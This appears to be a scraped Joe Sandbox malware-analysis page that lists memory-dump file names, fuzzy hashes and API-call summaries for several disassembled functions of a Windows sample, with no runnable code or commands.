Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: LocalValue$AllocFree__snwprintf
String ID: SOFTWARE\%s
API String ID: 297434584-297323700
Opcode ID: eea076e9327b4a3160847ab81b259556827adc83998c575fe7aaa37286326fa4
Instruction ID: dde1a5256ebe148864ab9fa0a356f2c6073802fe06fd855730101a091aab9f28
Opcode Fuzzy Hash: eea076e9327b4a3160847ab81b259556827adc83998c575fe7aaa37286326fa4
Instruction Fuzzy Hash: 30214271614108FFE710CF94CC89FAEB778EF44704F108159BA04AB281D671AB54DB94

Function 00930010 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,00936B10,00991178,00936B10), ref: 00930023
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00930034
wnsprintfW.SHLWAPI ref: 0093005F
CoTaskMemFree.COMBASE(?), ref: 0093007F
CoTaskMemFree.COMBASE(?), ref: 0093008E

Strings

%s\%s, xrefs: 00930051

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathwnsprintf
String ID: %s\%s
API String ID: 294551330-4073750446
Opcode ID: 518113220951988ca2288effb2ad4c9f5497b4b2f289cc5f4a8f2009b379ea68
Instruction ID: cae437953ed19b9f5e210bad71db630aadedf530d5b3379b51071f2016f7dde8
Opcode Fuzzy Hash: 518113220951988ca2288effb2ad4c9f5497b4b2f289cc5f4a8f2009b379ea68
Instruction Fuzzy Hash: 3D01B570A04208FBD714DFB8DC46F6E77B9EF44705F108465FA05E7280D630AA40DB64

Function 0093B9A0 Relevance: 9.1, APIs: 6, Instructions: 119networkCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0093B9CE
inet_addr.WS2_32(00000000), ref: 0093BA14
gethostbyname.WS2_32(00000000), ref: 0093BA27

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: _memmovegethostbynameinet_addr
String ID:
API String ID: 380901696-0
Opcode ID: b51066179804dd93e23cafc92bc8e5527afb3e7e1368ee85124610428d41b5ec
Instruction ID: de6369dbafb66bf8e34792af934b53ee7b168e1326bbb215e4f2d5a1040ce7fb
Opcode Fuzzy Hash: b51066179804dd93e23cafc92bc8e5527afb3e7e1368ee85124610428d41b5ec
Instruction Fuzzy Hash: F7411AB5A45208EFDB04EFB5D881FAEB7B5EB49304F208958E605A7340D775AE40DF60

Function 0093CA00 Relevance: 9.0, APIs: 6, Instructions: 41processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0093CA09
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0093CA16
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0093CA3A
CloseHandle.KERNEL32(00000000), ref: 0093CA53
Process32NextW.KERNEL32(00000000,0000022C), ref: 0093CA6C
CloseHandle.KERNEL32(00000000), ref: 0093CA7A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: 1c0edf77c34c8b5200fba89d2dbedff0e6078947b929f21986e9f894b972eaca
Instruction ID: 34f1e33dbe9aaefcbac156cae5006ba560a959386ffc77bd7436ae5a7cc9b814
Opcode Fuzzy Hash: 1c0edf77c34c8b5200fba89d2dbedff0e6078947b929f21986e9f894b972eaca
Instruction Fuzzy Hash: 2F010CB4A14208EBDB10DBA8DD8CB9DBBB8AB48700F104595F505E6190D7349F40EF60

Function 009489CA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00948A3B
___crtGetStringTypeA.LIBCMT ref: 00948A68
___crtLCMapStringA.LIBCMT ref: 00948A88
___crtLCMapStringA.LIBCMT ref: 00948AAD

Strings

, xrefs: 00948A12

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: String___crt$Type_memset
String ID:
API String ID: 1957702402-3916222277
Opcode ID: 9da047a0ce2c62dd01cce7adfa33df0f360be3ad306d518aaacaf48c1c291d14
Instruction ID: 28f8b1d75495d09607377569a6d9342083f228f73652979e00ce0fc4afed8873
Opcode Fuzzy Hash: 9da047a0ce2c62dd01cce7adfa33df0f360be3ad306d518aaacaf48c1c291d14
Instruction Fuzzy Hash: 8541F6B010479C5EDB318B28CC85FFFBBECDB45708F1448E9E58A86182D6B19A45CF60

Function 00947A12 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00947A25

Part of subcall function 00947980: ___BuildCatchObjectHelper.LIBCMT ref: 009479B6

_UnwindNestedFrames.LIBCMT ref: 00947A3C
___FrameUnwindToState.LIBCMT ref: 00947A4A

Strings

csm, xrefs: 00947A14
csm, xrefs: 00947A21, 00947A36, 00947A49, 00947A67, 00947A77

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
Instruction ID: 49a058b8503f49eb3c8834cbc7517c532f3970afd66afb11cb27870ff3ca4752
Opcode Fuzzy Hash: 4ef99debcadfdcecb3433f75b9a0fe794b6cec0601b21e23afb445cc8b992cdc
